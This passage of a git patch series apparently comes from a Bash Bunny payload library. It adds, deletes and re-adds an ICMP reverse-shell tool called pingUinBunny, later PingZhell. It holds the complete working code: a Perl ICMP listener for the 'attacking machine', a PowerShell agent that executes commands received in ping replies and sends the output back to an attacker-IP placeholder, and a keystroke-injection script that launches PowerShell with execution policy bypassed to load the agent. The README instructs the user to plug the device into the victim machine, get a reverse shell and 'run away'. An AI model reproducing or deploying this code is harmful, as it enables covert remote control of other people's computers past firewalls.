$NeverGonnaGiveYouUp[($i*$BufferSize)..($NeverGonnaGiveYouUp.Length)] + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null + } + } + else + { + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null + } + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ') + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null + } + else + { + Start-Sleep -Seconds $Delay + } + } +} diff --git a/payloads/library/remote_access/switch1/README.md b/payloads/library/remote_access/switch1/README.md new file mode 100644 index 00000000..3185dafb --- /dev/null +++ b/payloads/library/remote_access/switch1/README.md @@ -0,0 +1,39 @@ +**Title: pingUinBunny** + +Author: 0iphor13 + +Version: 1.0 + +What is pingUinBunny? +# +*Imagine a scenario in which communication to and from the server is protected and filtered by a firewall and does not allow TCP shell communication to take place on any listening port (both reverse and bind TCP connection).* +*But many environments allow ping requests to be sent and received. Ping requests work on the ICMP protocol.* +*ICMP stands for Internet Control Message Protocol; it is used by network devicesā€™ query and error messages. ICMP differs from the widely used TCP and UDP protocols because ICMP is not used for transferring data between network devices.* +*When a device wants to test connectivity to another device, it uses the PING tool (ICMP communication) to send an ECHO REQUEST and waits for an ECHO RESPONSE.* +*The client ICMP agent (Bunny.pl) listens for ICMP packets from a specific host and uses the data in the packet for command execution.* +*The server ICMP Agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (Invoke-pingUin.ps1) and sends it commands to execute.* +# +There you go, a reverse shell. + +Instruction: + +Upload Bunny.pl onto your attacking machine. +Install dependencies, if needed: + IO::Socket, + NetPacket::IP, + NetPacket::ICMP + +Disable ICMP replies by the OS: + *sysctl -w net.ipv4.icmp_echo_ignore_all=1* + +Start Bunny.pl -> perl Bunny.pl +# +Plug in Bashbunny with pingUinBunny equipped. +Achieve reverse shell. +run away <3 + + +Credit for code and ideas: +bdamele +nishang +krabelize \ No newline at end of file diff --git a/payloads/library/remote_access/switch1/payload.txt b/payloads/library/remote_access/switch1/payload.txt new file mode 100644 index 00000000..10da7bbb --- /dev/null +++ b/payloads/library/remote_access/switch1/payload.txt @@ -0,0 +1,43 @@ +#!/bin/bash +# +# Title: pingUinBunny +# Description: Get remote access using a icmp reverse shell. +# Author: 0iphor13 +# Version: 1.0 +# Category: Remote_Access +# Attackmodes: HID, Storage + +LED SETUP + +DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +DELAY 5000 +RUN WIN "powershell -Exec Bypass" +DELAY 6000 +Q ENTER + +DELAY 10000 +Q STRING "Import-Module ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\Invoke-pingUin.ps1')" +DELAY 10000 +Q ENTER +DELAY 10000 +Q STRING "Invoke-pingUin -IpAddress 0.0.0.0" +DELAY 10000 +Q ENTER + +DELAY 5000 + +ATTACKMODE HID + +LED FINISH From f019d862cdc6bec8e4d3abe69a173338d472671e Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sat, 11 Dec 2021 19:56:06 +0100 Subject: [PATCH 11/59] Delete payloads/library/remote_access/switch1 directory --- .../library/remote_access/switch1/Bunny.pl | 66 ----------- .../remote_access/switch1/Invoke-pingUin.ps1 | 105 ------------------ .../library/remote_access/switch1/README.md | 39 ------- .../library/remote_access/switch1/payload.txt | 43 ------- 4 files changed, 253 deletions(-) delete mode 100644 payloads/library/remote_access/switch1/Bunny.pl delete mode 100644 payloads/library/remote_access/switch1/Invoke-pingUin.ps1 delete mode 100644 payloads/library/remote_access/switch1/README.md delete mode 100644 payloads/library/remote_access/switch1/payload.txt diff --git a/payloads/library/remote_access/switch1/Bunny.pl b/payloads/library/remote_access/switch1/Bunny.pl deleted file mode 100644 index 8807ebe9..00000000 --- a/payloads/library/remote_access/switch1/Bunny.pl +++ /dev/null @@ -1,66 +0,0 @@ -#!/usr/bin/env perl -# -# icmpsh - simple icmp command shell -# Copyright (c) 2010, Nico Leidecker -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -# -# Modified by 0iphor13 for pingUinBunny -# -# -# -# - - -use strict; -use IO::Socket; -use NetPacket::IP; -use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); -use Net::RawIP; -use Fcntl; - -print "Bunny waitin' for his friend...\n"; - -# create raw socket -my $sock = IO::Socket::INET->new( - Proto => "ICMP", - Type => SOCK_RAW, - Blocking => 1) or die "$!"; - -# set stdin to non-blocking -fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; - -print "Let's wait for PingUin!\n"; - -my $input = ''; -while(1) { - if ($sock->recv(my $buffer, 4096, 0)) { - my $ip = NetPacket::IP->decode($buffer); - my $icmp = NetPacket::ICMP->decode($ip->{data}); - if ($icmp->{type} == ICMP_ECHO) { - # get identifier and sequencenumber - my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data}); - - # write data to stdout and read from stdin - print $data; - $input = ; - - # compile and send response - $icmp->{type} = ICMP_ECHOREPLY; - $icmp->{data} = pack("SSa*", $ident, $seq, $input); - my $raw = $icmp->encode(); - my $addr = sockaddr_in(0, inet_aton($ip->{src_ip})); - $sock->send($raw, 0, $addr) or die "$!\n"; - } - } -} diff --git a/payloads/library/remote_access/switch1/Invoke-pingUin.ps1 b/payloads/library/remote_access/switch1/Invoke-pingUin.ps1 deleted file mode 100644 index ab74e8ba..00000000 --- a/payloads/library/remote_access/switch1/Invoke-pingUin.ps1 +++ /dev/null @@ -1,105 +0,0 @@ -function Invoke-pingUin -{ -<# - -Original script by nishang - modified by 0iphor13 for pingUinBunny - -.PARAMETER IPAddress -The IP address of the server/listener to connect to. - -.PARAMETER Delay -Time in seconds for which the script waits for a command from the server. Default is 5 seconds. - -.PARAMETER BufferSize -The size of output Buffer. Defualt is 128. - -.EXAMPLE -# sysctl -w net.ipv4.icmp_echo_ignore_all=1 -# python icmpsh_m.py 192.168.254.226 192.168.254.1 - -Microsoft please don't block, oh dear microsoft corporation -#> - [CmdletBinding()] Param( - - [Parameter(Position = 0, Mandatory = $true)] - [String] - $IPAddress, - - [Parameter(Position = 1, Mandatory = $false)] - [Int] - $Delay = 5, - - [Parameter(Position = 2, Mandatory = $false)] - [Int] - $BufferSize = 128 - - ) - - #Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response - $ICMPClientsWalkinDownTheStreet = New-Object System.Net.NetworkInformation.Ping - $PingOptions = New-Object System.Net.NetworkInformation.PingOptions - $PingOptions.DontFragment = $True - $MicrosoftCopyright =@" - - I'll pingUin! <3 - __ - -=(o '. - '.-.\ - /| \\ - '| || - by 0iphor13 _\_):,_ - - Windows PowerShell running as user $env:username on $env:computername `n -"@; - - # Copyright Copies Right - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($MicrosoftCopyright) - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - - #Show an interactive PowerShell prompt - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ') - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - - while ($true) - { - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('') - $reply = $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) - - #Check for Command from the server - if ($reply.Buffer) - { - $response = ([text.encoding]::ASCII).GetString($reply.Buffer) - $result = (Invoke-Expression -Command $response 2>&1 | Out-String ) - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($result) - $index = [math]::floor($NeverGonnaGiveYouUp.length/$BufferSize) - $i = 0 - - #Fragmant larger output into smaller ones to send to the server. - if ($NeverGonnaGiveYouUp.length -gt $BufferSize) - { - while ($i -lt $index ) - { - $NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..(($i+1)*$BufferSize-1)] - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null - $i +=1 - } - $remainingindex = $NeverGonnaGiveYouUp.Length % $BufferSize - if ($remainingindex -ne 0) - { - $NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..($NeverGonnaGiveYouUp.Length)] - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null - } - } - else - { - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - } - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ') - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - } - else - { - Start-Sleep -Seconds $Delay - } - } -} diff --git a/payloads/library/remote_access/switch1/README.md b/payloads/library/remote_access/switch1/README.md deleted file mode 100644 index 3185dafb..00000000 --- a/payloads/library/remote_access/switch1/README.md +++ /dev/null @@ -1,39 +0,0 @@ -**Title: pingUinBunny** - -Author: 0iphor13 - -Version: 1.0 - -What is pingUinBunny? -# -*Imagine a scenario in which communication to and from the server is protected and filtered by a firewall and does not allow TCP shell communication to take place on any listening port (both reverse and bind TCP connection).* -*But many environments allow ping requests to be sent and received. Ping requests work on the ICMP protocol.* -*ICMP stands for Internet Control Message Protocol; it is used by network devicesā€™ query and error messages. ICMP differs from the widely used TCP and UDP protocols because ICMP is not used for transferring data between network devices.* -*When a device wants to test connectivity to another device, it uses the PING tool (ICMP communication) to send an ECHO REQUEST and waits for an ECHO RESPONSE.* -*The client ICMP agent (Bunny.pl) listens for ICMP packets from a specific host and uses the data in the packet for command execution.* -*The server ICMP Agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (Invoke-pingUin.ps1) and sends it commands to execute.* -# -There you go, a reverse shell. - -Instruction: - -Upload Bunny.pl onto your attacking machine. -Install dependencies, if needed: - IO::Socket, - NetPacket::IP, - NetPacket::ICMP - -Disable ICMP replies by the OS: - *sysctl -w net.ipv4.icmp_echo_ignore_all=1* - -Start Bunny.pl -> perl Bunny.pl -# -Plug in Bashbunny with pingUinBunny equipped. -Achieve reverse shell. -run away <3 - - -Credit for code and ideas: -bdamele -nishang -krabelize \ No newline at end of file diff --git a/payloads/library/remote_access/switch1/payload.txt b/payloads/library/remote_access/switch1/payload.txt deleted file mode 100644 index 10da7bbb..00000000 --- a/payloads/library/remote_access/switch1/payload.txt +++ /dev/null @@ -1,43 +0,0 @@ -#!/bin/bash -# -# Title: pingUinBunny -# Description: Get remote access using a icmp reverse shell. -# Author: 0iphor13 -# Version: 1.0 -# Category: Remote_Access -# Attackmodes: HID, Storage - -LED SETUP - -DELAY 500 - -GET SWITCH_POSITION -DUCKY_LANG de - -DELAY 500 - -ATTACKMODE HID STORAGE - -#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING - -LED STAGE1 - -DELAY 5000 -RUN WIN "powershell -Exec Bypass" -DELAY 6000 -Q ENTER - -DELAY 10000 -Q STRING "Import-Module ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\Invoke-pingUin.ps1')" -DELAY 10000 -Q ENTER -DELAY 10000 -Q STRING "Invoke-pingUin -IpAddress 0.0.0.0" -DELAY 10000 -Q ENTER - -DELAY 5000 - -ATTACKMODE HID - -LED FINISH From 60f9b361f32943a508603583e5f128d4bc401ec7 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sat, 11 Dec 2021 19:56:59 +0100 Subject: [PATCH 12/59] Uploaded pingUinBunny A reverse shell using icmp --- .../remote_access/pingUinBunny/Bunny.pl | 66 +++++++++++ .../pingUinBunny/Invoke-pingUin.ps1 | 105 ++++++++++++++++++ .../remote_access/pingUinBunny/README.md | 39 +++++++ .../remote_access/pingUinBunny/payload.txt | 43 +++++++ 4 files changed, 253 insertions(+) create mode 100644 payloads/library/remote_access/pingUinBunny/Bunny.pl create mode 100644 payloads/library/remote_access/pingUinBunny/Invoke-pingUin.ps1 create mode 100644 payloads/library/remote_access/pingUinBunny/README.md create mode 100644 payloads/library/remote_access/pingUinBunny/payload.txt diff --git a/payloads/library/remote_access/pingUinBunny/Bunny.pl b/payloads/library/remote_access/pingUinBunny/Bunny.pl new file mode 100644 index 00000000..8807ebe9 --- /dev/null +++ b/payloads/library/remote_access/pingUinBunny/Bunny.pl @@ -0,0 +1,66 @@ +#!/usr/bin/env perl +# +# icmpsh - simple icmp command shell +# Copyright (c) 2010, Nico Leidecker +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Modified by 0iphor13 for pingUinBunny +# +# +# +# + + +use strict; +use IO::Socket; +use NetPacket::IP; +use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); +use Net::RawIP; +use Fcntl; + +print "Bunny waitin' for his friend...\n"; + +# create raw socket +my $sock = IO::Socket::INET->new( + Proto => "ICMP", + Type => SOCK_RAW, + Blocking => 1) or die "$!"; + +# set stdin to non-blocking +fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; + +print "Let's wait for PingUin!\n"; + +my $input = ''; +while(1) { + if ($sock->recv(my $buffer, 4096, 0)) { + my $ip = NetPacket::IP->decode($buffer); + my $icmp = NetPacket::ICMP->decode($ip->{data}); + if ($icmp->{type} == ICMP_ECHO) { + # get identifier and sequencenumber + my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data}); + + # write data to stdout and read from stdin + print $data; + $input = ; + + # compile and send response + $icmp->{type} = ICMP_ECHOREPLY; + $icmp->{data} = pack("SSa*", $ident, $seq, $input); + my $raw = $icmp->encode(); + my $addr = sockaddr_in(0, inet_aton($ip->{src_ip})); + $sock->send($raw, 0, $addr) or die "$!\n"; + } + } +} diff --git a/payloads/library/remote_access/pingUinBunny/Invoke-pingUin.ps1 b/payloads/library/remote_access/pingUinBunny/Invoke-pingUin.ps1 new file mode 100644 index 00000000..ab74e8ba --- /dev/null +++ b/payloads/library/remote_access/pingUinBunny/Invoke-pingUin.ps1 @@ -0,0 +1,105 @@ +function Invoke-pingUin +{ +<# + +Original script by nishang - modified by 0iphor13 for pingUinBunny + +.PARAMETER IPAddress +The IP address of the server/listener to connect to. + +.PARAMETER Delay +Time in seconds for which the script waits for a command from the server. Default is 5 seconds. + +.PARAMETER BufferSize +The size of output Buffer. Defualt is 128. + +.EXAMPLE +# sysctl -w net.ipv4.icmp_echo_ignore_all=1 +# python icmpsh_m.py 192.168.254.226 192.168.254.1 + +Microsoft please don't block, oh dear microsoft corporation +#> + [CmdletBinding()] Param( + + [Parameter(Position = 0, Mandatory = $true)] + [String] + $IPAddress, + + [Parameter(Position = 1, Mandatory = $false)] + [Int] + $Delay = 5, + + [Parameter(Position = 2, Mandatory = $false)] + [Int] + $BufferSize = 128 + + ) + + #Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response + $ICMPClientsWalkinDownTheStreet = New-Object System.Net.NetworkInformation.Ping + $PingOptions = New-Object System.Net.NetworkInformation.PingOptions + $PingOptions.DontFragment = $True + $MicrosoftCopyright =@" + + I'll pingUin! <3 + __ + -=(o '. + '.-.\ + /| \\ + '| || + by 0iphor13 _\_):,_ + + Windows PowerShell running as user $env:username on $env:computername `n +"@; + + # Copyright Copies Right + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($MicrosoftCopyright) + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null + + #Show an interactive PowerShell prompt + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ') + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null + + while ($true) + { + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('') + $reply = $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) + + #Check for Command from the server + if ($reply.Buffer) + { + $response = ([text.encoding]::ASCII).GetString($reply.Buffer) + $result = (Invoke-Expression -Command $response 2>&1 | Out-String ) + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($result) + $index = [math]::floor($NeverGonnaGiveYouUp.length/$BufferSize) + $i = 0 + + #Fragmant larger output into smaller ones to send to the server. + if ($NeverGonnaGiveYouUp.length -gt $BufferSize) + { + while ($i -lt $index ) + { + $NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..(($i+1)*$BufferSize-1)] + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null + $i +=1 + } + $remainingindex = $NeverGonnaGiveYouUp.Length % $BufferSize + if ($remainingindex -ne 0) + { + $NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..($NeverGonnaGiveYouUp.Length)] + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null + } + } + else + { + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null + } + $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ') + $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null + } + else + { + Start-Sleep -Seconds $Delay + } + } +} diff --git a/payloads/library/remote_access/pingUinBunny/README.md b/payloads/library/remote_access/pingUinBunny/README.md new file mode 100644 index 00000000..3185dafb --- /dev/null +++ b/payloads/library/remote_access/pingUinBunny/README.md @@ -0,0 +1,39 @@ +**Title: pingUinBunny** + +Author: 0iphor13 + +Version: 1.0 + +What is pingUinBunny? +# +*Imagine a scenario in which communication to and from the server is protected and filtered by a firewall and does not allow TCP shell communication to take place on any listening port (both reverse and bind TCP connection).* +*But many environments allow ping requests to be sent and received. Ping requests work on the ICMP protocol.* +*ICMP stands for Internet Control Message Protocol; it is used by network devicesā€™ query and error messages. ICMP differs from the widely used TCP and UDP protocols because ICMP is not used for transferring data between network devices.* +*When a device wants to test connectivity to another device, it uses the PING tool (ICMP communication) to send an ECHO REQUEST and waits for an ECHO RESPONSE.* +*The client ICMP agent (Bunny.pl) listens for ICMP packets from a specific host and uses the data in the packet for command execution.* +*The server ICMP Agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (Invoke-pingUin.ps1) and sends it commands to execute.* +# +There you go, a reverse shell. + +Instruction: + +Upload Bunny.pl onto your attacking machine. +Install dependencies, if needed: + IO::Socket, + NetPacket::IP, + NetPacket::ICMP + +Disable ICMP replies by the OS: + *sysctl -w net.ipv4.icmp_echo_ignore_all=1* + +Start Bunny.pl -> perl Bunny.pl +# +Plug in Bashbunny with pingUinBunny equipped. +Achieve reverse shell. +run away <3 + + +Credit for code and ideas: +bdamele +nishang +krabelize \ No newline at end of file diff --git a/payloads/library/remote_access/pingUinBunny/payload.txt b/payloads/library/remote_access/pingUinBunny/payload.txt new file mode 100644 index 00000000..10da7bbb --- /dev/null +++ b/payloads/library/remote_access/pingUinBunny/payload.txt @@ -0,0 +1,43 @@ +#!/bin/bash +# +# Title: pingUinBunny +# Description: Get remote access using a icmp reverse shell. +# Author: 0iphor13 +# Version: 1.0 +# Category: Remote_Access +# Attackmodes: HID, Storage + +LED SETUP + +DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +DELAY 5000 +RUN WIN "powershell -Exec Bypass" +DELAY 6000 +Q ENTER + +DELAY 10000 +Q STRING "Import-Module ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\Invoke-pingUin.ps1')" +DELAY 10000 +Q ENTER +DELAY 10000 +Q STRING "Invoke-pingUin -IpAddress 0.0.0.0" +DELAY 10000 +Q ENTER + +DELAY 5000 + +ATTACKMODE HID + +LED FINISH From 91a280d62d480770db74ffcbc8ac943ec2871ca4 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sat, 11 Dec 2021 19:58:22 +0100 Subject: [PATCH 13/59] Update README.md --- payloads/library/remote_access/pingUinBunny/README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/payloads/library/remote_access/pingUinBunny/README.md b/payloads/library/remote_access/pingUinBunny/README.md index 3185dafb..1af2489f 100644 --- a/payloads/library/remote_access/pingUinBunny/README.md +++ b/payloads/library/remote_access/pingUinBunny/README.md @@ -34,6 +34,6 @@ run away <3 Credit for code and ideas: -bdamele -nishang -krabelize \ No newline at end of file +bdamele, +nishang, +krabelize From 567040f9e7f8bf95f2d91d68d74a89b2595d21da Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sat, 11 Dec 2021 20:02:51 +0100 Subject: [PATCH 14/59] Update README.md --- .../library/remote_access/pingUinBunny/README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/payloads/library/remote_access/pingUinBunny/README.md b/payloads/library/remote_access/pingUinBunny/README.md index 1af2489f..df93b797 100644 --- a/payloads/library/remote_access/pingUinBunny/README.md +++ b/payloads/library/remote_access/pingUinBunny/README.md @@ -15,13 +15,13 @@ What is pingUinBunny? # There you go, a reverse shell. -Instruction: +**Instruction:** Upload Bunny.pl onto your attacking machine. Install dependencies, if needed: - IO::Socket, - NetPacket::IP, - NetPacket::ICMP +- IO::Socket +- NetPacket::IP +- NetPacket::ICMP Disable ICMP replies by the OS: *sysctl -w net.ipv4.icmp_echo_ignore_all=1* @@ -34,6 +34,6 @@ run away <3 Credit for code and ideas: -bdamele, -nishang, -krabelize +- bdamele +- nishang +- krabelize From 27b1cd003e608151fe311b97036208729ca71dc2 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:09:32 +0100 Subject: [PATCH 15/59] Updated to PingZhell --- .../{Invoke-pingUin.ps1 => PingZhell.ps1} | 63 +++++++------------ 1 file changed, 22 insertions(+), 41 deletions(-) rename payloads/library/remote_access/pingUinBunny/{Invoke-pingUin.ps1 => PingZhell.ps1} (71%) diff --git a/payloads/library/remote_access/pingUinBunny/Invoke-pingUin.ps1 b/payloads/library/remote_access/pingUinBunny/PingZhell.ps1 similarity index 71% rename from payloads/library/remote_access/pingUinBunny/Invoke-pingUin.ps1 rename to payloads/library/remote_access/pingUinBunny/PingZhell.ps1 index ab74e8ba..2687d299 100644 --- a/payloads/library/remote_access/pingUinBunny/Invoke-pingUin.ps1 +++ b/payloads/library/remote_access/pingUinBunny/PingZhell.ps1 @@ -1,62 +1,45 @@ -function Invoke-pingUin -{ + <# -Original script by nishang - modified by 0iphor13 for pingUinBunny +Original script by nishang - modified by 0iphor13 for PingZhell -.PARAMETER IPAddress -The IP address of the server/listener to connect to. +Use bunny.pl as a master -.PARAMETER Delay -Time in seconds for which the script waits for a command from the server. Default is 5 seconds. - -.PARAMETER BufferSize -The size of output Buffer. Defualt is 128. - -.EXAMPLE -# sysctl -w net.ipv4.icmp_echo_ignore_all=1 -# python icmpsh_m.py 192.168.254.226 192.168.254.1 +When running the master, don't forget to disable ICMP replies by the OS. For example: +$: sysctl -w net.ipv4.icmp_echo_ignore_all=1 +Then: +$: perl bunny.pl Microsoft please don't block, oh dear microsoft corporation #> - [CmdletBinding()] Param( + - [Parameter(Position = 0, Mandatory = $true)] - [String] - $IPAddress, - - [Parameter(Position = 1, Mandatory = $false)] - [Int] - $Delay = 5, - - [Parameter(Position = 2, Mandatory = $false)] - [Int] - $BufferSize = 128 - - ) + $IPAddress = 'Attacker-IP' + $Delay = 5 + $BufferSize = 128 #Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response $ICMPClientsWalkinDownTheStreet = New-Object System.Net.NetworkInformation.Ping $PingOptions = New-Object System.Net.NetworkInformation.PingOptions $PingOptions.DontFragment = $True $MicrosoftCopyright =@" - - I'll pingUin! <3 - __ - -=(o '. - '.-.\ - /| \\ - '| || - by 0iphor13 _\_):,_ - - Windows PowerShell running as user $env:username on $env:computername `n + _______ ___ __ _ _______ _______ __ __ _______ ___ ___ +| | | | | | | | | | | | | | | +| _ | | |_| | ___|____ | |_| | ___| | | | +| |_| | | | | __ ____| | | |___| | | | +| ___| | _ | || | ______| | ___| |___| |___ +| | | | | | | |_| | |_____| _ | |___| | | +|___| |___|_| |__|_______|_______|__| |__|_______|_______|_______| + + +Windows PowerShell running as user $env:username on $env:computername `n "@; # Copyright Copies Right $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($MicrosoftCopyright) $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - #Show an interactive PowerShell prompt + #Does a german penguin just PingUin? $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ') $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null @@ -65,7 +48,6 @@ Microsoft please don't block, oh dear microsoft corporation $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('') $reply = $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) - #Check for Command from the server if ($reply.Buffer) { $response = ([text.encoding]::ASCII).GetString($reply.Buffer) @@ -102,4 +84,3 @@ Microsoft please don't block, oh dear microsoft corporation Start-Sleep -Seconds $Delay } } -} From 712ebe762cf308c53ffbdeda2f0552714e11f0c8 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:10:55 +0100 Subject: [PATCH 16/59] Update Bunny.pl --- payloads/library/remote_access/pingUinBunny/Bunny.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/payloads/library/remote_access/pingUinBunny/Bunny.pl b/payloads/library/remote_access/pingUinBunny/Bunny.pl index 8807ebe9..733a50cf 100644 --- a/payloads/library/remote_access/pingUinBunny/Bunny.pl +++ b/payloads/library/remote_access/pingUinBunny/Bunny.pl @@ -29,7 +29,7 @@ use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); use Net::RawIP; use Fcntl; -print "Bunny waitin' for his friend...\n"; +print "Bunny waitin' for connection...\n"; # create raw socket my $sock = IO::Socket::INET->new( @@ -40,7 +40,7 @@ my $sock = IO::Socket::INET->new( # set stdin to non-blocking fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; -print "Let's wait for PingUin!\n"; +print "Let's wait for PingZhell!\n"; my $input = ''; while(1) { From c19b9e56f6654137f3ae4d578fd7922b1e8895f4 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:12:21 +0100 Subject: [PATCH 17/59] Update README.md --- payloads/library/remote_access/pingUinBunny/README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/payloads/library/remote_access/pingUinBunny/README.md b/payloads/library/remote_access/pingUinBunny/README.md index df93b797..69164252 100644 --- a/payloads/library/remote_access/pingUinBunny/README.md +++ b/payloads/library/remote_access/pingUinBunny/README.md @@ -1,17 +1,17 @@ -**Title: pingUinBunny** +**Title: PingZhellBunny** Author: 0iphor13 Version: 1.0 -What is pingUinBunny? +What is PingZhellBunny? # *Imagine a scenario in which communication to and from the server is protected and filtered by a firewall and does not allow TCP shell communication to take place on any listening port (both reverse and bind TCP connection).* *But many environments allow ping requests to be sent and received. Ping requests work on the ICMP protocol.* *ICMP stands for Internet Control Message Protocol; it is used by network devicesā€™ query and error messages. ICMP differs from the widely used TCP and UDP protocols because ICMP is not used for transferring data between network devices.* *When a device wants to test connectivity to another device, it uses the PING tool (ICMP communication) to send an ECHO REQUEST and waits for an ECHO RESPONSE.* *The client ICMP agent (Bunny.pl) listens for ICMP packets from a specific host and uses the data in the packet for command execution.* -*The 